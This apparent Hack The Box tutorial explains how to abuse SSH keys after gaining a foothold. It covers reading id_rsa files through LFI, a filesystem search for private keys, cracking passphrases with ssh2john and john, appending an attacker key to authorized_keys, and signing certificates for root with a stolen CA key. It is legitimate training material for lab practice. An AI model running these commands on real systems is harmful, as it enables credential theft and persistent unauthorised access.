SSH keys in pentesting: steal id_rsa, crack it and drop your own
How to use SSH keys during a compromise: read an id_rsa through an LFI, crack its passphrase with ssh2john, write your key to authorized_keys and fix the usual errors.
An SSH private key is a password that never expires and that nobody watches. On Hack The Box they come up in two ways: you steal a user's key (through an LFI, a backup or a repository) to log in as them, or you write your own into their authorized_keys to get a stable shell. Both take a couple of commands once you know where to look and what the errors mean.
The bare minimum
- The private key (
id_rsa,id_ed25519,id_ecdsa) is what grants access. It starts with-----BEGIN OPENSSH PRIVATE KEY-----or-----BEGIN RSA PRIVATE KEY-----. - The public key (
.pub) goes in the user's~/.ssh/authorized_keyson the server. Whoever holds the matching private key logs in without a password. - A private key can be encrypted with a passphrase. Then you have to crack it before you can use it.
- SSH is very strict about permissions: if anyone can read your key file, it refuses to use it.
Requirements
openssh-clientandjohn(withssh2john, which ships with Kali'sjohnpackage).putty-toolsif you run into a.ppkkey:sudo apt install putty-tools.- To practise: OpenAdmin (encrypted key), LaCasaDePapel (key read through an LFI) and Postman (writing your key with Redis).
Case 1: reading another user's key
If you have a file read (LFI, XXE, an SSRF with file://), first pull the users from /etc/passwd and then try the usual paths:
/home/<user>/.ssh/id_rsa
/home/<user>/.ssh/id_ed25519
/home/<user>/.ssh/id_ecdsa
/root/.ssh/id_rsa
If you are already on the box, find them all:
find / -name "id_*" -o -name "authorized_keys*" -o -name "*.pem" -o -name "*.ppk" 2>/dev/null \
| grep -v -E "^/(proc|usr/share|sys)"
Save the key on your box and use it:
chmod 600 id_rsa
ssh -i id_rsa [email protected]
Tip
If you do not know whose key it is, check the end of the .pub if you have it (it usually ends in user@host) or derive the public key from the private one with ssh-keygen -y -f id_rsa. The trailing comment gives you the name.
Case 2: the key has a passphrase
If SSH asks Enter passphrase for key 'id_rsa':, the key is encrypted. You can confirm it from the header (Proc-Type: 4,ENCRYPTED on old keys) or with:
ssh-keygen -y -f id_rsa
To crack it, convert it to John's format and give it a wordlist:
ssh2john id_rsa > id_rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
bloodninjas (id_rsa)
That is the passphrase of joanna's key on OpenAdmin. With it, run ssh -i id_rsa [email protected] and type the passphrase when prompted. On Valentine the encrypted key sits on the website in hex (xxd -r -p turns it back into text) and the passphrase comes from the memory leaked by Heartbleed.
Note
Hashcat works too: ssh2john produces formats such as $sshng$0$... or $sshng$6$.... For the newer bcrypt-based keys ($sshng$2$ or $sshng$6$) John is more convenient, and they are slow to crack anyway: do not expect to get through all of rockyou.
Case 3: writing your own key
If you can write to a user's home (a shell as them, an arbitrary file write or a misconfigured service), drop your key and log in over SSH. It is more stable than any reverse shell.
On your box, generate a fresh pair with no passphrase:
ssh-keygen -t ed25519 -f ./pwn -N ''
cat pwn.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... kali@kali
On the target, as the user you are after:
mkdir -p ~/.ssh && chmod 700 ~/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... kali@kali' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys
And from your box:
ssh -i pwn [email protected]
How you get to write the key changes from box to box:
- Unauthenticated Redis running as a user with a home: Postman. You point Redis's working directory at
~/.sshand save your key asauthorized_keys. - A WebDAV PUT on a service running as root: Broker.
- A webshell as the user who already has a
.ssh: Traceback. - A
sudorule on a binary that writes files (such asiptables-save): Backfire.
Case 4: PuTTY keys
A .ppk key (PuTTY's format, common on Windows) has to be converted to OpenSSH:
puttygen key.ppk -O private-openssh -o id_rsa
chmod 600 id_rsa
ssh -i id_rsa [email protected]
That is what happens on Keeper: the KeePass database holds a PuTTY key for root.
Case 5: an SSH certificate authority
Some servers do not use authorized_keys but certificates signed by a CA (TrustedUserCAKeys in /etc/ssh/sshd_config). If you get the CA's private key, you sign your key for any user you like:
ssh-keygen -s ca_key -I pwn -n root -V +1h pwn.pub
ssh -i pwn [email protected]
-n root is the principal your certificate will carry. You can practise it on Principal.
Common mistakes
WARNING: UNPROTECTED PRIVATE KEY FILE!andbad permissions: you forgotchmod 600 id_rsa.Load key "id_rsa": invalid formatorerror in libcrypto: the key was copied badly. The final newline is missing, it has Windows line endings (dos2unix id_rsa) or line breaks were lost when copying from the browser.Permission denied (publickey)after writing your key: the server ignoresauthorized_keysif the home or~/.sshare writable by others (StrictModes). Runchmod 700 ~/.sshandchmod go-w ~. Also check you are using the right user.sign_and_send_pubkey: no mutual signature supportedorno matching host key type found: the server is old and usesssh-rsawith SHA-1, which your client disables. Add-o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa.ssh2johndoes not recognise the key: update John (old versions do not understand theOPENSSH PRIVATE KEYformat) or call the script aspython3 /usr/share/john/ssh2john.py.
What next
With a stable SSH session you can forward internal ports (ssh -L), as the port forwarding and pivoting guide explains. The SSH keys item is in the post-exploitation checklist, and if you find more passwords along the way, follow the finding passwords after the foothold method.